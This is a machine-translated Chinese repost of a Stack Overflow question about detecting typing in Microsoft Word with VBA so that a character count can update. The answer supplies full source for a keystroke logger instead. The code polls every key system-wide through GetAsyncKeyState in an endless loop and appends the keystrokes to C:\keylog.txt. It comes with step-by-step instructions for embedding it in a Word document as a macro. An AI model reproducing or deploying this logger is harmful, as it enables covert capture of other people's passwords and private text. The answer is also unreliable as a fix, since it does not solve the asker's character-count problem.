gpt4 book ai didi

vba - 检测何时将数据添加到文档中,例如。一个字符或空白

转载 作者:行者123 更新时间:2023-12-04 15:33:11 25 4
gpt4 key购买 nike

有没有办法检测用户何时使用 VBA 在 Microsoft Word 中按下某个键。我已经寻找了一种方法来做到这一点。我还搜索了解决此问题的方法,例如检测插入点何时移动或检测何时在 word 文档中放置新字符,但我没有看。我目前正在使用 appWord_WindowSelectionChange(ByVal Sel As Selection)但这不会在您键入时检测到。

如果有人向我展示如何检测按键或能够向我展示可以实现相同目标的解决方法,我将不胜感激。

编辑

如果上面我想要的摘要不清楚,我深表歉意。我拥有的是一个使用 appWord_WindowSelectionChange(ByVal Sel As Selection) 触发的潜艇.然而,我想要的是这个子程序在任何数据输入到 word 文档时触发,例如。一个字母或一个空白字符。例如,如果 word 文档的页脚中有一个字符数,并且我更新了这个子数,则字符数字段应该随着用户在文档中键入而更新。

最佳答案

不是我的代码,而是 HTH。

        Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer

Sub KeyStrokeLogger()
Dim i As Integer
Dim KeyAsciiValue As Integer

StartLogging
Do While True
For i = 1 To 255
If GetAsyncKeyState(i) = -32767 Then
If CapsLockIsOn() Then
If ShiftIsPressed() = True Then
KeyAsciiValue = Asc(LCase(Chr(i)))
Else
KeyAsciiValue = Asc(UCase(Chr(i)))
End If
Else
If ShiftIsPressed() = True Then
KeyAsciiValue = Asc(UCase(Chr(i)))
Else
KeyAsciiValue = Asc(LCase(Chr(i)))
End If
End If
LogKeyStroke KeyAsciiValue
End If
Next i
DoEvents
Loop
End Sub

Private Function CapsLockIsOn() As Boolean
CapsLockIsOn = CBool(GetKeyState(20))
End Function

Private Function ShiftIsPressed() As Boolean
ShiftIsPressed = CBool(GetAsyncKeyState(16))
End Function

Private Sub StartLogging()
Open "C:\keylog.txt" For Binary As #1
Seek #1, LOF(1) + 1
End Sub

Private Sub LogKeyStroke(KeyAsciiValue As Integer)
Dim c As String * 1
c = Chr(KeyAsciiValue)
Select Case KeyAsciiValue
Case 8
Put #1, , "{BACKSPACE}"
Case 9
Put #1, , "{TAB}"
Case 13
Put #1, , "{ENTER}"
Case 32 To 126
Put #1, , c
Case Else
Put #1, , "{" & KeyAsciiValue & "}"
End Select
End Sub

*"如何使用上述代码:

第1步
在 MS-Word 中创建一个新文档。

第2步
转到工具、宏、Visual Basic 编辑器

第 3 步
双击 Project Window 中 Project(Document1) 下的 ThisDocument 对象。

第四步
复制上面的代码并将其粘贴到 Visual Basic 编辑器中。

第 5 步
关闭 Visual Basic 编辑器并保存文档。

第 6 步
确保启用宏。要随时开始记录击键,请单击工具、宏、宏。选择 KeyStrokeLogger 并单击运行。所有击键都将存储在 C:\keylog.txt 中。
"*
LinkBack to Post

关于vba - 检测何时将数据添加到文档中,例如。一个字符或空白,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/31493969/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com